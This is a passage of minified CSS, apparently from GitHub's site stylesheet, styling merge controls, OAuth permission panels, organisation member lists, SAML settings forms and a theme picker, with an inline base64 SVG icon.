url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 